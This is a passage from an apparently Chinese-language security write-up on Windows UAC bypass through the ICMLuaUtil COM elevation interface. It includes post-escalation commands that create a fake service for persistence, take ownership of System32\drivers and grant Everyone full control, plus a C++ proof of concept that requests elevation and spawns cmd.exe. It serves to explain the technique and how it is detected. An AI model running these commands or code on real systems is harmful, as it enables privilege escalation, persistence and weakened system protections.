在组信息列表中,BUILTIN\Administrators 的属性是 “必需的组, 启用于默认, 启用的组, 组的所有者”
列表最后一行显示 High Mandatory Level (S-1-16-12288),现在处于 High 级别,测试程序 ProcessFaker.exe 已经成功通过 ICMLuaUtil 接口,从 Medium 提升到了 High
在这个 cmd 窗口中,执行一些敏感操作都能成功
1 2 3 4 5 6 7 8 9 10 11 12 | sc create FakeService binPath= "C:\Windows\System32\cmd.exe" //创建临时的伪造服务,可用于持久化//Windows 核心目录(如 System32\drivers)受 TrustedInstaller 保护,该文件夹的所有者 (Owner) 是 TrustedInstaller 账户,而不是管理员。//利用当前的高权限,强制把文件夹的所有者改为当前管理员takeown /f C:\Windows\System32\drivers//然后可以修改权限了,给“所有人 (Everyone)”赋予对驱动文件夹的“完全控制 (F)”权限。icacls C:\Windows\System32\drivers /grant Everyone:(F)//查看刚创建的服务是否真的存在sc query FakeService |

5.2 未进行伪装的提权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 | #include <windows.h>#include <iostream>// 链接必要的库#pragma comment(lib, "ole32.lib")// 定义 ICMLuaUtil 接口class __declspec(uuid("6EDD6D74-C007-4E75-B76A-E5740995E24C")) ICMLuaUtil : public IUnknown {public: virtual HRESULT STDMETHODCALLTYPE Method1() = 0; virtual HRESULT STDMETHODCALLTYPE Method2() = 0; virtual HRESULT STDMETHODCALLTYPE Method3() = 0; virtual HRESULT STDMETHODCALLTYPE Method4() = 0; virtual HRESULT STDMETHODCALLTYPE Method5() = 0; virtual HRESULT STDMETHODCALLTYPE Method6() = 0; virtual HRESULT STDMETHODCALLTYPE ShellExec(LPCWSTR lpFile, LPCWSTR lpParameters, LPCWSTR lpDirectory, ULONG fMask, ULONG nShow) = 0;};int main() { // 初始化 COM 库 CoInitialize(NULL); wprintf(L"--- POC: Pure COM Elevation (No PEB Masquerading) ---\n"); wprintf(L"[*] Current Process: ProcessFaker.exe (Real Identity)\n"); HRESULT hr = E_FAIL; ICMLuaUtil* pICMLuaUtil = nullptr; // 构造 Elevation Moniker LPCWSTR elevationMoniker = L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"; BIND_OPTS3 bop; memset(&bop, 0, sizeof(bop)); bop.cbStruct = sizeof(bop); bop.dwClassContext = CLSCTX_LOCAL_SERVER; wprintf(L"[*] Requesting Admin privilege via COM...\n"); // 注意:这次我们没有修改 PEB,系统知道是谁在发起请求 hr = CoGetObject(elevationMoniker, (BIND_OPTS*)&bop, __uuidof(ICMLuaUtil), (void**)&pICMLuaUtil); if (SUCCEEDED(hr) && pICMLuaUtil) { wprintf(L"[+] Successfully obtained interface!\n"); // 尝试启动 CMD pICMLuaUtil->ShellExec(L"C:\\Windows\\System32\\cmd.exe", NULL, NULL, SEE_MASK_DEFAULT, SW_SHOW); pICMLuaUtil->Release(); } else { // 如果用户在弹窗中点了“否”,或者直接被拦截,会走到这里 wprintf(L"[-] CoGetObject Failed: 0x%08x\n", hr); } CoUninitialize(); system("pause"); return 0;} |
此时会弹出 UAC 警告窗口

如果攻击者采用这种手法,那肯定会引起检测工具或者安全分析师的警觉,因为这看起来是一个陌生的程序在申请更高权限,十分异常。
